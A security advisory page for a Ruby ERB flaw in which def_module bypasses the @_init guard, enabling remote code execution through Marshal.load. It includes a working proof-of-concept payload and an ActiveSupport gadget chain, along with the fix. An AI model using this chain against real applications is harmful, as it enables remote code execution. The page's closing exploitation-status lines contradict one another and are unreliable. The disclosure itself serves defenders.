Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-q339-8rmv-2mhv
No affected components available
Summary
Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:
ERB#def_methodERB#def_moduleERB#def_class
An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.
The @_init Guard
In ERB#initialize, the guard is set:
# erb.rb line 838
@_init = self.class.singleton_class
In ERB#result and ERB#run, the guard is checked before eval(@src):
# erb.rb line 1008-1012
def result(b=new_toplevel)
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
eval(@src, b, (@filename || '(erb)'), @lineno)
end
When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.
The Bypass
ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:
# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1) # <-- no @_init check
end
end
# erb.rb line 1113-1117
def def_module(methodname='erb') # <-- zero-arg call possible
mod = Module.new
def_method(mod, methodname, @filename || '(ERB)')
mod
end
# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result') # <-- zero-arg call possible
cls = Class.new(superklass)
def_method(cls, methodname, @filename || '(ERB)')
cls
end
def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.
Method wrapper breakout
def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:
# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
# def erb
# end
# system('id') <- executes at eval time
# def x
# end
Proof of Concept
Minimal (ERB only)
require 'erb'
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
# ERB#result correctly blocks this:
begin
erb.result
rescue ArgumentError => e
puts "result: #{e.message} (blocked by @_init -- correct)"
end
# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)
Marshal deserialization (ERB + ActiveSupport)
When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:
require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'
# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
class DeprecatedInstanceVariableProxy
def initialize(h)
h.each { |k, v| instance_variable_set(k, v) }
end
end
end
erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
:@instance => erb,
:@method => :def_module,
:@var => "@x",
:@deprecator => Kernel
})
marshaled = Marshal.dump({proxy => 0})
# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)
# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)
Chain:
Marshal.loadreconstructs a Hash with aDeprecatedInstanceVariableProxyas key- Hash key insertion calls
.hashon the proxy .hashis undefined ->method_missing(:hash)-> dispatches toERB#def_moduledef_module->def_method->module_eval(eval(src))-> breakout ->system('id')
Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1
</details>Impact
Scope
Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:
- Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
- Ruby tools that import untrusted serialized data -- any tool using
Marshal.loadfor caching, data import, or IPC - Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization
Severity justification
The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.
This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.
<details>Gadget chain history
Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:
| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |
</details>Patches
The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.
- ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4
Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:
def def_method(mod, methodname, fname='(ERB)')
unless @_init.equal?(self.class.singleton_class)
raise ArgumentError, "not initialized"
end
src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
mod.module_eval do
eval(src, binding, fname, -1)
end
end
</details>
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard